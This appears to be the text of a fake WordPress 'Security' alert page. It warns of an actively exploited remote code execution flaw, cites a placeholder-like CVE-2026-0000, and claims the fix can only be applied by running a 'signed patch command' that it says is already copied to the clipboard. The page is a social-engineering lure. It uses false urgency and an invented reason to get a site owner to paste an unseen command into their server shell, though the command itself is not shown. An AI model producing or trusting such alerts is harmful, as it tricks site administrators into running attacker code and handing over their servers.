Security
WordPress 6.8.1 running · PHP 8.2 · last scan 3 minutes ago
CRITICAL Your site is vulnerable to active exploitation
Automated scanning detected an unauthenticated remote code execution flaw affecting this installation. One or more exploit attempts have already been observed against your site from external addresses. A security patch must be applied now to close the hole.
Until the patch is applied, attackers can create admin accounts, inject malware into your pages, and read your database. Automatic background updates cannot deliver this fix because it operates below the plugin layer, so it has to be applied from your server's command line.
| Advisory | Component | Severity (CVSS) | Status |
|---|---|---|---|
| CVE-2026-0000 | wp-core / REST | 9.8 Critical | Unpatched |
| WPSCAN-ADV-4471 | object-cache | 8.1 High | Unpatched |
Apply the official WordPress security patch
Run the signed patch command from the server hosting this site. The command is already copied to your clipboard when you press the button below.
Waiting for patch to be applied…
Verification ID:
WP-PATCH-…